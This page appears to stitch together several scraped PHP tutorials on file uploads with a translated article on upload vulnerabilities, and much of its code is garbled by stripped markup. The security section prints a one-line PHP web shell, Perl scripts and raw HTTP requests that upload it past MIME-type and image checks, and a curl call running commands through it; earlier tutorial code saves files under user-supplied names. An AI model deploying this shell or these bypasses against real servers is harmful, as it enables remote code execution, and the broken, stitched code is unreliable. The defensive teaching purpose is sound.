Computer lessons

An example of uploading files to the server (upload) in PHP. Uploading files to a server using PHP How to upload files to a php server

How to upload a file to the server using PHP? In this article we will look at this issue in detail with examples.

HTML form for submitting a file

The first thing you need to know to upload files to the server is the features of the HTML forms that submit the file.

Here is an example of HTML code for this form:

File upload form



What's unique about this form:

  1. The form tag must contain the enctype="multipart/form-data attribute. This attribute indicates that the form will submit a file. By default, the enctype attribute is set to application/x-www-form-urlencoded .
  2. The form must contain a hidden attribute (type="hidden") with the name MAX_FILE_SIZE whose value (value) indicates the file size. In theory, browsers should report when a file is oversized, but in practice browsers do not support this. I think this attribute can be omitted.
  3. To select the file to be transferred, use the input tag, which has the type="file" attribute.

After the server receives an HTTP request from such a form, it writes the file to a temporary folder on the server.

If you want the file to be saved to a different directory at this stage, specify it in the upload_tmp_dir directive of the php.ini file.

To move an uploaded file to a new location, use the move_uploaded_file function.

But before we start working with this function, we must examine the two-dimensional $_FILES array, through which we access the characteristics of the uploaded file.

So, after the script received the form data with the transferred file, it wrote the file into a special folder, and wrote the data about the file into a two-dimensional array $_FILES .

Let's look at an example that displays the contents of the $_FILES array on the screen.

File upload form


"; ) else ( echo "
", print_r($_FILES), "
"; } ?>

This is what we get as a result of this script:

Fig.1. $_FILES array.

Now let's look at what is contained in this array.

Our two-dimensional $_FILES array has one element, filename . This is the value of the name field from the form element:

Data for this file:

  • $_FILES["filename"]["name"] - file name;
  • $_FILES["filename"]["type"] - file type;
  • $_FILES["filename"]["tmp_name"] - full path to the temporary directory on the disk;
  • $_FILES["filename"]["error"] - contains the error code, which is 0 if the operation was successful;
  • $_FILES["filename"]["size"] - file size.

It would be possible to specify two fields for files in the form, for example like this:


In this case, our array would look like this:


Fig.2. $_FILES array.

So, now we know how the $_FILES array is structured and the next step is to put the resulting file in the location we need.

function move_uploaded_file

As I already wrote, the move_uploaded_file function is used to move an uploaded file to a new location.

The syntax of the move_uploaded_file function is:

move_uploaded_file (from where to transfer, where to transfer)

The move_uploaded_file function returns a boolean value:

  • TRUE - if successful,
  • FALSE - if the first argument is a loaded file, but for some reason cannot be moved to the specified location, in this case no action is taken.

Let's use this function in an example:

File upload form


"; ) else ( move_uploaded_file ($_FILES["filename"]["tmp_name"], __DIR__ . DIRECTORY_SEPARATOR . $_FILES["filename"]["name"]); ) ?>

This script moves the image to the same folder in which it itself is located. To do this, we use PHP's built-in constants to specify the path:

  • __DIR__ is one of the “magic” constants; it contains the file directory.
  • DIRECTORY_SEPARATOR is a predefined constant containing the path separator. For Windows OS it is “\”, for Linux OS and others it is “/”.

Note: If the resulting file already exists, it will be overwritten.

is_uploaded_file function

There is one more function that must be used when working with uploading files to the server. This is the is_uploaded_file function and is used for security reasons.

is_uploaded_file - Determines whether the file was uploaded using HTTP POST and returns TRUE if so.

Using this function is useful to ensure that a malicious user does not try to trick the script into working with files it shouldn't - for example /etc/passwd.

Please note: for the is_uploaded_file function to work correctly, you need to pass the path to the file on temporary storage on the server, that is, an argument like $_FILES["filename"]["tmp_name"] , but the name of the uploaded file on the client machine ($_FILES[" filename"]["name"]) does not apply here.

Our final example script that handles the file submission form would look like this:

File upload form


"; ) else ( // Check if the file is uploaded if(is_uploaded_file($_FILES["filename"]["tmp_name"])) ( // If the file is uploaded successfully, move it // from the temporary directory to the final one move_uploaded_file ($_FILES ["filename"]["tmp_name"], __DIR__ . DIRECTORY_SEPARATOR . $_FILES["filename"]["name"]); ) else ( echo("Error loading file"); ) ) ?>

Limiting file size

In some cases, you need to limit the size of the file that can be uploaded to the server. For example, to allow only files no larger than 3 MB to be uploaded to the server, the above script contains the code:

1024*3*1024) ( echo("File size exceeds three megabytes"); exit; ) ... ?>

The maximum upload file size can also be set using the upload_max_filesize directive in the php.ini file. The default value of this directive is 2 MB:

$upload_max_filesize) ... ?>

PHP.ini settings for uploading files to the server

So, we learned about the upload_max_filesize directive of the php.ini file, which sets the maximum size of the uploaded file. What other directives in the php.ini file are responsible for uploading files to the server?

By the way, if you want to find out where your php.ini file is located, run the script:

So, the list of directives in the php.ini file:

  • file_uploads - the ability to prohibit or allow uploading files to the server as a whole, enabled by default (value On).
  • post_max_size - general upper limit on the size of data transmitted in a POST request. If you need to transfer multiple files at the same time, or work with large files, change the value of this directive. The default value is 8MB.
  • upload_max_filesize is the directive we have already discussed. Don't forget to also change post_max_size if necessary.
  • upload_tmp_dir - temporary directory on the server where all uploaded files will be placed.

That's all I wanted to tell you on the topic "Uploading files to a server in PHP".

I am glad to see you on the pages of my site. Today we’ll talk about the implementation of uploading files to the server. The topic is quite interesting because... Many beginners are interested in this question.

Uploading files to the server using PHP will greatly facilitate your work of filling out a photo gallery or designing a website page using an editor (for example TinyMCE). You can also upload any types of files to the server based on your tasks.

In order to upload a file to the server, you need to create a form for uploading files. In principle, this form is not very different from a regular form with text fields, except that type there will be no text, A file(since we are uploading files) and the attribute will be added to the form itself enctype="multipart/form-data". Entype determines the type of encoding that the browser applies to form parameters.

PHP - Uploading files to the server yourself

Demo: Uploading files to the server

Upload your photos to the server

We have created a file upload form; it’s time to write a simple handler for uploading files to the server. Let’s determine right away that we will only load graphic files with the type jpeg, png, gif. Once we have determined the types of files to upload to the server, we need to create a folder on the server itself where we will put our files. In my example, this is the image folder, we will put our files in it.

"No errors occurred, the file was successfully uploaded to the server.", 1 => "The size of the received file exceeded the maximum allowed size, which is specified by the upload_max_filesize directive of the php.ini configuration file.", 2 => "The size of the uploaded file exceeded the MAX_FILE_SIZE value specified in HTML form.", 3 => "The downloaded file was only partially received.", 4 => "The file was not downloaded.", 6 => "Missing temporary folder. Added in PHP 4.3.10 and PHP 5.0.3 "); //Defining file types to upload $fileTypes = array("jpg" => "image/jpeg", "png" => "image/png", "gif" => "image/gif"); //If the upload button is pressed if(isset($_POST["upload"])) ( //Check if the data is empty or not if(!empty($_FILES)) ( //Check for errors if($_FILES["files" ]["error"] > 0) $err = $errUpload[$_FILES["files"]["error"]]; //Check the type of file to upload if(!in_array($_FILES["files"][" type"], $fileTypes)) $err = "This file type ". $_FILES["files"]["type"] ." not suitable for uploading!"; //If there are no errors, then upload the file if(empty($err)) ( $type = pathinfo($_FILES["files"]["name"]); $name = $uploadDir ." /". uniqid("files_") .".". $type["extension"]; move_uploaded_file($_FILES["files"]["tmp_name"],$name); //Reset POST parameters header("Location : http://". $_SERVER["HTTP_HOST"] ."/less/uploads/uploads.php?name=". $name); exit; ) else echo implode("
", $err); ) ) //Message about successful file upload to the server if(isset($_GET["name"])) echo "

File ". htmlentities($_GET["name"]) ." successfully loaded!

"; //Display pictures from the directory $imgDir = array_values(array_diff(scandir($uploadDir), array("..", "."))); for($i = 0; $i< count($imgDir); $i++) { if($i % 2 == 0) echo "
"."\n"; echo " "."\n"; ) echo "

"."\n"; echo " http://". $_SERVER["HTTP_HOST"] ." "; ?>

After we have written the code and checked that everything works, a beginner may encounter problems downloading large files. To do this you need to adjust the settings in PHP.INI

; Maximum execution time for each script in seconds max_execution_time = 3000 ; The maximum amount of time each script can spend parsing a data request max_input_time = 400 ; Maximum amount of memory the script can consume (8 MB) memory_limit = 500M ; The maximum size of POST data that PHP will accept. post_max_size = 500M ; The maximum allowed size for uploaded files. upload_max_filesize = 200M

The application for uploading files to the server is an HTML form (upload.html) and the upload.php script for processing it.

Comment: You can download the industrial version of the system for uploading files to the server from the section. The system will allow you not only to upload a file to the server, but also to change its size, background, etc.

Form code (upload.html)

File upload form



Form processing script code (upload.php)

File download result 1024 * 3 * 1024 ) ( echo (); exit; ) // Check if the file is loaded if(is_uploaded_file ($_FILES [ "filename" ][ "tmp_name" ])) ( // If the file is loaded successfully, move it // from the temporary directory to the final directory move_uploaded_file ($_FILES [ "filename" ][ "tmp_name" ], "/path/to/file/" . $_FILES [ "filename" ][ "name" ]); ) else ( echo( "Error loading file"); } ?>

The entype attribute of a form specifies the type of encoding that the browser applies to the form parameters. In order for sending files to the server to work, the entype attribute must be set to multipart/form-data. By default, this attribute is set to application/x-www-form-urlencoded.

The input element of this form must be of type file.

Once an HTTP request is received, the contents of the uploaded file are written to a temporary file, which is created in the server's default directory for temporary files unless a different directory is specified in the php.ini file (upload_tmp_dir directive).

The characteristics of the uploaded file are available through a two-dimensional array $_FILES.

The upload.php script uploads a file to the server and copies it to the /path/to/file/ directory.

In some cases, you need to limit the size of the file that can be uploaded to the server. For example, to allow only files no larger than 3 MB to be uploaded to the server, the above script contains the code:

1024 * 3 * 1024 ) ( echo( "The file size exceeds three megabytes"); exit; ) ... ?>

The maximum upload file size can also be set using the upload_max_filesize directive, the default value of which is 2 MB:

upload_max_filesize ) .. ?>

In order to be able to upload one or more files to the server, a special field is used in the form. In Firefox, IE and Opera browsers, such an element is displayed as a text field, next to which there is a button labeled “Browse...” (Fig. 1). In Safari and Chrome, only the “Select file” button is available (Fig. 2).

Rice. 1. View of the field for uploading a file in Firefox

When you click the button, a file selection window opens, where you can specify which file the user wants to use.

The syntax for the file upload field is as follows.

The attributes are listed in table. 1.

Before using this field, you must do the following on the form:

  1. set the data sending method POST (method="post" );
  2. set the enctype attribute to multipart/form-data .

The file upload form is demonstrated in example 1.

Example 1: Creating a field to send a file

HTML5 IE Cr Op Sa Fx

Sending a file to the server

Although you can set the width of a field using the size attribute, the width actually has no effect on the form's output. In Safari and Chrome browsers, this attribute has no effect at all.

The multiple attribute is more important; it allows you not to be limited to one file for selection, but to specify several of them at once for simultaneous loading.

If the accept attribute is not specified, then files of any type are added and loaded. The presence of accept allows you to limit the file selection, which is especially important when you only need to upload an image or video. The value is , several values ​​are separated by a comma. You can also use the following keywords:

  • audio/* - select music files of any type;
  • image/* - graphic files;
  • video/* - video files.

In table Figure 2 shows some valid values ​​for the accept attribute.

The use of additional attributes is shown in example 2.

HTML5 IE 10+ Cr Op Sa Fx

Upload your photos to the server

Not all browsers support the new attributes. IE completely ignores multiple and accept , Safari doesn't support accept , and Firefox doesn't work with MIME type, only with keywords. Therefore, in the example above, the value is set specifically for Firefox to image/*,image/jpeg . Also note a strange bug in Opera that doesn't allow spaces after commas inside accept .

The result of the example is shown in Fig. 3. Please note that due to the presence of multiple, the appearance of the field has changed somewhat.

  • Translation

This article demonstrates the main vulnerabilities of web applications for uploading files to the server and how to avoid them. The article contains the very basics; it is unlikely that it will be of interest to professionals. But nevertheless, every PHP developer should know this.

Various web applications allow users to upload files. Forums allow users to upload "avatars". Photo galleries allow you to upload photos. Social networks provide opportunities to upload images, videos, etc. Blogs allow you to upload avatars and/or images.

Often, uploading files without proper security controls leads to vulnerabilities, which, as practice shows, have become a real problem in PHP web applications.

Conducted tests have shown that many web applications have many security problems. These “holes” provide attackers with extensive opportunities to perform unauthorized actions, starting with viewing any file on the server and uploading and executing arbitrary code. This article talks about the main security holes and how to avoid them.

The code examples provided in this article can be downloaded from:
www.scanit.be/uploads/php-file-upload-examples.zip.

If you want to use them, please make sure that the server you are using is not accessible from the Internet or any other public networks. The examples demonstrate various vulnerabilities, the execution of which on an externally accessible server can lead to dangerous consequences.

Regular file upload

Uploading files usually consists of two independent functions - accepting files from the user and showing files to the user. Both parts can be a source of vulnerabilities. Let's look at the following code (upload1.php):
$uploaddir = "uploads/" ; // Relative path under webroot


echo ;
}
?>


Typically users will upload files using a form like this:

< form name ="upload" action ="upload1.php" method ="POST" ENCTYPE ="multipart/form-data" >
Select the file to upload:< input type ="file" name ="userfile" >
< input type ="submit" name ="upload" value ="upload" >

* This source code was highlighted with Source Code Highlighter.

An attacker will not use this form. He can write a small Perl script (possibly in any language - translator's note), which will emulate the user’s actions of downloading files in order to change the sent data at their discretion.

In this case, the upload contains a large security hole: upload1.php allows users to upload arbitrary files to the root of the site. An attacker can upload a PHP file that allows arbitrary shell commands to be executed on the server with the privilege of the web server process. This script is called PHP-Shell. Here is the simplest example of such a script:

system($_GET["command"]);
?>

If this script is located on the server, then you can execute any command via a request:
server/shell.php?command=any_Unix_shell_command

More advanced PHP shells can be found on the Internet. They can download arbitrary files, execute SQL queries, etc.

The Perl source shown below uploads PHP-Shell to the server using upload1.php:

#!/usr/bin/perl
use LWP; # we are using libwwwperl
use HTTP::Request::Common;
$ua = $ua = LWP::UserAgent->new ;
$res = $ua->request(POST "http://localhost/upload1.php",
Content_Type => "form-data" ,
Content => ,],);

Print $res->as_string();


* This source code was highlighted with Source Code Highlighter.

This script uses libwwwperl, which is a convenience Perl library that emulates an HTTP client.

And this is what will happen when this script is executed:

Request:

POST /upload1.php HTTP/1.1
TE: deflate,gzip;q=0.3
Connection: TE, close
Host: localhost

Content-Length: 156

--xYzZY

Content-Type: text/plain
system($_GET["command"]);
?>
--xYzZY-

Answer:
HTTP/1.1 200 OK
Date: Wed, 13 Jun 2007 12:25:32 GMT
Server: Apache

Content-Length: 48
Connection: close
Content-Type: text/html
File is valid, and was successfully uploaded.

After we have loaded the shell script, we can safely run the command:
$ curl localhost/uploads/shell.php?command=id
uid=81(apache) gid=81(apache) groups=81(apache)

cURL is a command-line HTTP client available on Unix and Windows. This is a very useful tool for testing web applications. cURL can be downloaded from curl.haxx.se

Checking Content-Type

The above example rarely occurs. In most cases, programmers use simple checks to ensure that users download files of a strictly defined type. For example, using the Content-Type header:

Example 2 (upload2.php):

if ($_FILES[;
exit;
}
$uploaddir = "uploads/" ;
$uploadfile = $uploaddir . basename($_FILES["userfile" ]["name" ]);

if (move_uploaded_file($_FILES["userfile" ]["tmp_name" ], $uploadfile)) (
echo ;
}
?>

* This source code was highlighted with Source Code Highlighter.

In this case, if an attacker only tries to download shell.php, our code will check the MIME type of the downloaded file in the request and filter out the unnecessary ones.

Request:

POST /upload2.php HTTP/1.1
TE: deflate,gzip;q=0.3
Connection: TE, close
Host: localhost
User-Agent: libwww-perl/5.803
Content-Type: multipart/form-data; boundary=xYzZY
Content-Length: 156
--xYzZY
Content-Disposition: form-data; name="userfile"; filename="shell.php"
Content-Type: text/plain
system($_GET["command"]);
?>
--xYzZY--

Answer:
HTTP/1.1 200 OK
Date: Thu, 31 May 2007 13:54:01 GMT
Server: Apache
X-Powered-By: PHP/4.4.4-pl6-gentoo
Content-Length: 41
Connection: close
Content-Type: text/html
So far so good. Unfortunately, there is a way to bypass this protection because the MIME type being checked comes with the request. In the query above it is set to "text/plain" (it is installed by the browser - translator's note). There is nothing stopping an attacker from setting it to "image/gif", since with client emulation he has full control over the request he sends (upload2.pl):
#!/usr/bin/perl
#
use LWP;
use HTTP::Request::Common;
$ua = $ua = LWP::UserAgent->new ;;
$res = $ua->request(POST "http://localhost/upload2.php",
Content_Type => "form-data" ,
Content => ,],);

Print $res->as_string();

* This source code was highlighted with Source Code Highlighter.

And this is what happens.

Request:

POST /upload2.php HTTP/1.1
TE: deflate,gzip;q=0.3
Connection: TE, close
Host: localhost
User-Agent: libwww-perl/5.803
Content-Type: multipart/form-data; boundary=xYzZY
Content-Length: 155
--xYzZY
Content-Disposition: form-data; name="userfile"; filename="shell.php"
Content-Type: image/gif
system($_GET["command"]);
?>
--xYzZY-

Answer:
HTTP/1.1 200 OK
Date: Thu, 31 May 2007 14:02:11 GMT
Server: Apache
X-Powered-By: PHP/4.4.4-pl6-gentoo
Content-Length: 59
Connection: close
Content-Type: text/html

As a result, our upload2.pl forges the Content-Type header, forcing the server to accept the file.

Checking the Contents of an Image File

Instead of trusting the Content-Type header, the PHP developer could check the actual content of the uploaded file to ensure that it is indeed an image. The PHP getimagesize() function is often used for this. It takes the filename as an argument and returns an array of image sizes and type. Let's look at the upload3.php example below.
$imageinfo = getimagesize($_FILES["userfile" ]["tmp_name" ]);
if ($imageinfo["mime" ] != "image/gif" && $imageinfo["mime" ] != "image/jpeg" ) (
echo "Sorry, we only accept GIF and JPEG images\n";
exit;
}

$uploaddir = "uploads/" ;
$uploadfile = $uploaddir . basename($_FILES["userfile" ]["name" ]);

if (move_uploaded_file($_FILES["userfile" ]["tmp_name" ], $uploadfile)) (
echo ;
}
?>

* This source code was highlighted with Source Code Highlighter.

Now, if an attacker tries to upload shell.php, even if he sets the Content-Type header to "image/gif", then upload3.php will still throw an error.

Request:

POST /upload3.php HTTP/1.1
TE: deflate,gzip;q=0.3
Connection: TE, close
Host: localhost
User-Agent: libwww-perl/5.803
Content-Type: multipart/form-data; boundary=xYzZY
Content-Length: 155
--xYzZY
Content-Disposition: form-data; name="userfile"; filename="shell.php"
Content-Type: image/gif
system($_GET["command"]);
?>
--xYzZY-

Answer:
HTTP/1.1 200 OK
Date: Thu, 31 May 2007 14:33:35 GMT
Server: Apache
X-Powered-By: PHP/4.4.4-pl6-gentoo
Content-Length: 42
Connection: close
Content-Type: text/html
Sorry, we only accept GIF and JPEG images

You might think that now we can rest assured that only GIF or JPEG files will be downloaded. Unfortunately, it is not. The file can actually be in GIF or JPEG format, and at the same time a PHP script. Most image formats allow you to add text metadata to the image. It is possible to create a perfectly valid image that contains some PHP code in this metadata. When getimagesize() looks at a file, it will treat it as a valid GIF or JPEG. When a PHP translator looks at a file, it sees executable PHP code in some binary "garbage" that will be ignored. A typical file called crocus.gif is contained in the example (see the beginning of the article). Such an image can be created in any graphics editor.

So, let's create a Perl script to load our image:

#!/usr/bin/perl
#
use LWP;
use HTTP::Request::Common;
$ua = $ua = LWP::UserAgent->new ;;
$res = $ua->request(POST "http://localhost/upload3.php",
Content_Type => "form-data" ,
Content => , ],);

Print $res->as_string();

* This source code was highlighted with Source Code Highlighter.

This code takes the file crocus.gif and loads it with the name crocus.php. Execution will result in the following:

Request:

POST /upload3.php HTTP/1.1
TE: deflate,gzip;q=0.3
Connection: TE, close
Host: localhost
User-Agent: libwww-perl/5.803
Content-Type: multipart/form-data; boundary=xYzZY
Content-Length: 14835
--xYzZY

Content-Type: image/gif
GIF89a(...some binary data...)(... skipping the rest of binary data ...)
--xYzZY-

Answer:
HTTP/1.1 200 OK
Date: Thu, 31 May 2007 14:47:24 GMT
Server: Apache
X-Powered-By: PHP/4.4.4-pl6-gentoo
Content-Length: 59
Connection: close
Content-Type: text/html
File is valid, and was successfully uploaded.

Now an attacker can execute uploads/crocus.php and get the following:

As you can see, the PHP translator ignores the binary data at the beginning of the image and executes the sequence "" in the GIF comment.

Checking the extension of the downloaded file

A reader of this article might wonder why we don't just check the extension of the downloaded file? If we don't allow *.php files to be loaded, then the server will never be able to execute that file as a script. Let's look at this approach as well.

We can blacklist file extensions and check the name of the uploaded file, ignoring the upload of the file with executable extensions (upload4.php):

$blacklist = array(".php" , ".phtml" , ".php3" , ".php4" );
foreach ($blacklist as $item) (
if (preg_match(;
exit;
}
}

$uploaddir = "uploads/" ;
$uploadfile = $uploaddir . basename($_FILES["userfile" ]["name" ]);

if (move_uploaded_file($_FILES["userfile" ]["tmp_name" ], $uploadfile)) (
echo ;
}
?>


* This source code was highlighted with Source Code Highlighter.

The expression preg_match("/$item\$/i", $_FILES["userfile"]["name"]) matches the user-defined file name in the blacklist array. The "i" modifier says that our expression is case insensitive. If the file extension matches one of the items in the blacklist, the file will not be downloaded.

If we try to upload a file with a .php extension, this will result in an error:

Request:

POST /upload4.php HTTP/1.1
TE: deflate,gzip;q=0.3
Connection: TE, close
Host: localhost
User-Agent: libwww-perl/5.803
Content-Type: multipart/form-data; boundary=xYzZY
Content-Length: 14835
--xYzZY
Content-Disposition: form-data; name="userfile"; filename="crocus.php"
Content-Type: image/gif

--xYzZY-

Answer:
HTTP/1.1 200 OK
Date: Thu, 31 May 2007 15:19:45 GMT
Server: Apache
X-Powered-By: PHP/4.4.4-pl6-gentoo
Content-Length: 36
Connection: close
Content-Type: text/html
If we download a file with a .gif extension, then it will be downloaded:

Request:

POST /upload4.php HTTP/1.1
TE: deflate,gzip;q=0.3
Connection: TE, close
Host: localhost
User-Agent: libwww-perl/5.803
Content-Type: multipart/form-data; boundary=xYzZY
Content-Length: 14835
--xYzZY
Content-Disposition: form-data; name="userfile"; filename="crocus.gif"
Content-Type: image/gif
GIF89(...skipping binary data...)
--xYzZY--

Answer:
HTTP/1.1 200 OK
Date: Thu, 31 May 2007 15:20:17 GMT
Server: Apache
X-Powered-By: PHP/4.4.4-pl6-gentoo
Content-Length: 59
Connection: close
Content-Type: text/html
File is valid, and was successfully uploaded.

Now, if we request the downloaded file, it will not be executed by the server: